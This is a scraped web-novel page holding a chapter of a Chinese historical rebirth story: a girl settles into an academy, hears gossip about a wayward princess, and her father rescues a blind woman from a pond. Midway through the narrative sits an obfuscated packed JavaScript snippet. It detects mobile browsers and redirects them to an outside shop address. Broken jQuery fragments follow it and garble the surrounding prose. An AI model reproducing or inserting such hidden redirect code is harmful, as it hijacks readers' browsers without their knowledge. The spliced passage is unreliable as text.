默认冷灰
24号文字
方正启体

5. 第五章

作者:盏赤本书字数:K更新时间:
    蒙凌山和白嘉被罚站没多久,忠义阁里山长的讲话就结束了,学子们陆陆续续从左右两方的侧门出来。


    窦舍监从蒙凌山和白嘉身后打开忠义阁正门,仔细打量了他俩发现没有任何逾矩的行为才露出笑容:“行李都由书童先行放到学舍了,现在你们可以去学舍整理。蒙凌山学子,你住在靠山一侧的步云斋辛字房。白嘉学子,你住在靠水一侧的听涛阁戊字房。”


    沿着广场向东的石板路一直走,路过两侧大片花草,几个古朴而不失雅致的院落呈“井”字分布。最左边靠湖的依次是天字区的听涛阁和揽月台,石板路右边则依次有地字区的倚竹轩和闻兰舍。蒙凌山知道,过了倚竹轩再往右,才是人字区的砺石居和步云斋。


    白嘉一直走到听涛阁才与蒙凌山分别。


    蒙凌山走了一段正要右转,余光瞥见有人在窗边看她。她抬头迎上视线。


    那人身着深紫色骑装,眉梢高挑,丹凤眼细长,神色满是兴味——是康乐公主。


    蒙凌山对着她笑了一下,行了一礼,但对方只看着她不说话。


    蒙凌山:?挺奇怪一公主。


    蒙凌山点点头,转身继续走了。


    不出蒙凌山所料,与她同住的还是前世那位三品归德将军之女解琪。解琪是武将家族出身,人也开朗健谈,只是前世和蒙凌山好像总是找不到话说。


    解琪正与另一位小娘子说什么,见蒙凌山进来,和她简单打招呼介绍了朋友王晴,就继续与朋友说笑。


    其实蒙凌山与解琪不是很熟,因为前世第一次月试过后她就搬到揽月台了。月试头名可以有一次换学舍的机会,当时蒙凌山在书院唯一认识的只有周纪言,她又是社交苦手,没有交到朋友,于是就选择搬到周纪言住的听涛阁旁边的揽月台去了。


    对了,方才康乐公主是在揽月台的窗边,她应该也是住在揽月台才对,那前世蒙凌山怎么对她没有什么印象?


    “……琪娘你听说了没,今日公主殿下又被罚抄书了。”旁边带着笑音的女声传过来,蒙凌山整理衣物的手顿了顿,不由得竖起耳朵听。


    “这次又是因为什么事?我记得前段时间她才因为偷跑出书院被罚。”解琪奇道。解琪和王晴都家住京城,先前未进书院时就早早听过康乐公主狼藉的声名。


    王晴先卖关子:“京城谁人不知康乐公主好美色,从小就调戏侍卫、戏弄乐者,荒唐得很,十四岁时更是偷偷跑去勾栏瓦舍听曲赏舞……不过陛下实在宠爱她,一次次都饶过了。”


    “哎呀,你净说些大家都知道的,快讲重点。”解琪作势要挠王晴。


    “好好好……这次也是一样,听说公主殿下求了陛下,指名要殿前都指挥使的弟弟来书院做她的伴读呢!”


    “谁?邹家二公子?”解琪恍然,“哦,我知道了……早听说邹家二公子生的可谓是钟灵毓秀,比小娘子还好看呢!”


    “可不……”王晴接话的音逐渐小下去,她扯扯解琪的袖子。


    蒙凌山这才发现自己从偷听变成了光明正大听,她轻咳一声,对她们露出一个自认为腼腆的笑容:“对不住,我不是故意听你们说话的……只是我上个月才到京城,好多事都不了解,我……”


    蒙凌山这一笑带了些真心实意的心虚,解琪心中顿时明了,看来这个同舍只是长得冷了些,其实也和她们一样是喜欢听八卦的性子。她爽朗一笑:“这有什么的,有什么不懂的以后只管问我就是了。”


    蒙凌山于是顺杆爬了:“那……方才王娘子说的……”


    6


    蒙凌山与解琪王晴打听一番才知道,原来康乐公主仗着自己受宠,不仅到处调戏小郎君,学业上也三天打渔两天晒网,三五天便要偷跑出书院去。


    所以怪不得蒙凌山前世住揽月台时对她没有印象。蒙凌山整天只知道忙活她的学业,希望父亲可以因此夸奖自己,怎么会注意到旁边的公主殿下逃了几次课翻了几次墙?


    反倒是邹家二公子邹明义,蒙凌山有点印象——因为邹明义是周纪言的好友。邹明义确实长得钟灵毓秀,比许多小娘子都要好看,他身形也不似他家里人那么粗犷,换一身衣裳恐怕活脱脱就是小娘子。但是蒙凌山记得那是一个脾气很坏的人,他最讨厌别人夸赞他的容貌,面上不表现出来,但总会在背地里使坏。偏偏周纪言是个好性子,能和他玩到一块去。


    不对,物以类聚,能和这种人玩到一块的周纪言怎么可能是真的好性子?眼看着自己妻子入狱而无动于衷的人怎么可能是真的好性子?


    蒙凌山腾出手就要掐自己,被凭空伸出的另一只手拿住了。


    是解琪。


    “你做什么呢要掐自己?”解琪端着食盘,身后跟着王晴。“正好你这里有位置,我们可以一起坐吧。”


    蒙凌山:“……坐吧。”自己真是,神游习惯了,思绪过去一堆,身体还能自觉到饭堂吃饭。蒙凌山看面前的两菜一汤,还好,她基本上不挑食。


    她俩在蒙凌山对面的空座位坐下。


    “对了,凌山,忘了问你多大了。”解琪吃饭还不忘聊天。“知道年纪我们好称呼姐姐妹妹的。”


    “是你想当姐姐吧。”王晴笑嗔。解琪是家族这一辈里最小的孩子,王晴也比她年长。


    “我今年十一。”蒙凌山说。


    “太好了……不是,我是说我十二,你可得叫我声姐姐。”解琪笑的牙不见眼,可见是真的很高兴。


    蒙凌山被她感染了,笑着打趣道:“那今后在学舍可得请琪姐姐多多照顾了。”


    一时间三人都笑起来。


    宵灯巷,蒙府。


    晚饭时分,蒙彦德本来打算到听雪斋吃饭,谁曾想周映棠的气还没消,他只好灰溜溜地回前院书房。走过内院的岔道,他忽然想到蒙凌山,又转了脚步,往栖迟园去。


    栖迟园院子里的小池塘已经移栽了荷花,也添了几尾红鲤鱼,现下已是一片生气勃勃。池塘边砌了一组大理石桌凳,供人坐着赏花赏鱼。


    萸娘的眼睛还是看不见,不过大夫说照着药方吃上几个月应该就能见好,蒙凌山便让朝鸢和晚鹭照顾她。晚鹭是个不多话的,于是便由朝鸢陪着萸娘闲时四处走动活动筋骨,也说话逗趣。


    这日萸娘走的累了,便由朝鸢扶着到池塘边的石凳坐下。刚坐下,朝鸢便看到厨房的烧火女使平安在园子门口向她招手。


    平安知道朝鸢现在伺候的是跟着二小姐来的瞎眼女人,所以她只挥手,不出声。


    朝鸢见对方不说话,心里有数了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164555|196644||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她和萸娘道:“萸娘子,您先在这儿坐着歇会儿,我去给您端盏热茶来吃。”


    “好,多谢你。”萸娘不疑有他,摸索着把脸朝向了池塘的方向,轻轻嗅闻荷花荷叶的气味和扑面而来的水汽。


    萸娘虽然将近三十,也不曾细细保养肌肤,奈何天生丽质,除却那一双粗糙短小的手,她看上去就是一个略丰腴的美艳少女。此时少女安坐池边,闭上眼睛感受四周的生机,画面十分美好。


    蒙彦德进园子时看到的就是这样一幅画面。


    他一时看得呆了,直到朝鸢拿了东西端着茶回来叫他才回神。


    萸娘听见朝鸢的声音,听到是叫老爷,她就要起身行礼。可不能让人家说二小姐带回来的人不讲礼数。


    哪知一时情急之下萸娘撞到了桌角,站立不稳,竟是直接跌到了池塘里!


    萸娘不会水,只能在水里干扑腾,她睁着的无神双眼中满是泪水。


    朝鸢吓了一跳,可是她自己也不会水,这池子可是有一丈深!朝鸢正要去叫人找会水的女使来救人,只听“扑通”一声,方才还在门口的老爷不见了。


    “快、快来人啊!”朝鸢奔出园子,“老爷掉进池塘里了!快救人!”


    等朝鸢呼唤来的小厮女使赶到时,自家老爷已经抱着昏过去的萸娘爬上岸了。众小厮女使眼观鼻鼻观心,除去几个近身伺候的,都自觉散去了。


    承恩书院。


    第二日众学子都换上了书院提供的学子服——云峰白深衣加金线绣纹滚边——一眼看去白花花一片,分不清谁是谁。


    早上仍旧是在忠义阁听课,主要是听胖夫子——庞夫子讲解日后的课程安排以及月试、季试和旬假的相关事宜。


    课程主要包括常学的君子六艺,即礼、乐、射、御、书、数六门,以及每旬在忠义阁讲的忠义课。忠义课顾名思义,主要教导学子忠君爱国之道。至于寻常书院教授的四书五经经义以及治事课程,在承恩书院并不重点讲授,毕竟到这里就读的学生大都没有科举入仕的硬性需求。当然,书院也不排斥学子自发向夫子们讨教。


    月试和季试不消说,便是每月末、季末的例行考核,只是每一次考试魁首都有彩头,换学舍只是其中一项。旬假则是每月初一和十五,除此之外,学子每年春秋分别还有一个月的假期。当然,家不住在京城的学子只有春秋假时可以向陛下申请归家,其余时间都不能擅自离开京城。


    事宜交代完毕,窦舍监来到忠义阁,与庞夫子一起领众学子往广场西边去熟悉以后上课的地方。


    广场西边向下几个阶梯,到了平坦处,一眼便可望见正前方的精致楼阁,一条弯曲连廊通往左边更古朴庄重些的屋子。


    “左手边的勤学斋是教授礼、书、数三课的地方,正前方的苦练阁则是教授乐课的,”庞夫子一手揽在身前,另一手指向连廊,“从左边的连廊穿过去再走数十步,便能看见书院的藏书楼,若有什么想要借阅的,尽可与藏书楼里的石夫子去说。”


    “往右边过去便是靶场和马场,你们的射、御两课便是在那边修习。”苦练阁右侧几丛青竹旁有路延伸穿过月亮门往深处去,庞夫子指着月亮门,后发出解散指令。“下午便有射课与御课各一节,诸生这便自散去准备罢。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)